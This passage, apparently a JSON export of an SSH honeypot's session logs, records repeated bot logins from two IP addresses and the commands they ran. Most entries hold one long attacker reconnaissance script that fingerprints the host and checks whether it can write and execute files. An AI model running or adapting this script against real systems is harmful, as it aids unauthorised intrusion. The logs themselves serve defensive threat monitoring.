2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:43:13.090223+00:00",
  "ended_at": "2026-08-27T10:43:13.198396+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "36aaa70f-4579-4843-9d7b-3aa00af0d9d3",
  "name": "supple-russet-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 48544,
  "username": "centos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:41:25.358184+00:00",
  "ended_at": "2026-08-27T10:41:25.464217+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "91550fda-d31f-4dc0-94c8-7eaee46da658",
  "name": "jaunty-cheerful-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 57980,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:41:09.585055+00:00",
  "ended_at": "2026-08-27T10:41:09.690489+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 736
 },
 {
  "id": "26d02303-8f27-41ba-a19d-38d9dc69c7ee",
  "name": "oaken-wistful-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 45508,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:39:17.135887+00:00",
  "ended_at": "2026-08-27T10:39:17.243031+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "014afbd7-ca79-4bb1-9bc2-a99335e2106e",
  "name": "mossy-spirited-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 39592,
  "username": "lab",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:38:43.437958+00:00",
  "ended_at": "2026-08-27T10:38:43.541667+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "e0862017-cd06-4cdd-b2e6-362b8950818c",
  "name": "distant-airy-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 42536,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:37:22.405541+00:00",
  "ended_at": "2026-08-27T10:37:22.508124+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "574c731a-706f-4ed9-9612-53bce61edaba",
  "name": "tangled-lunar-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 57964,
  "username": "lab",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:36:13.116877+00:00",
  "ended_at": "2026-08-27T10:36:13.217086+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "b02ee85a-c71b-43a3-9bb9-395808e10749",
  "name": "crisp-fringed-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 39540,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:35:04.417692+00:00",
  "ended_at": "2026-08-27T10:35:04.526379+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "737069d2-e34c-4ac6-9da6-4fb3bcb2ebac",
  "name": "primal-shaded-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 56188,
  "username": "lab",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:33:49.022578+00:00",
  "ended_at": "2026-08-27T10:33:49.119192+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "b13aebb8-fa22-4ebd-b8f4-432df5530af2",
  "name": "nautical-forlorn-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 36542,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:33:13.714298+00:00",
  "ended_at": "2026-08-27T10:33:13.822199+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d8e99191-7ce0-442c-9588-94a2539dea12",
  "name": "glacial-northern-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 33516,
  "username": "backup",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
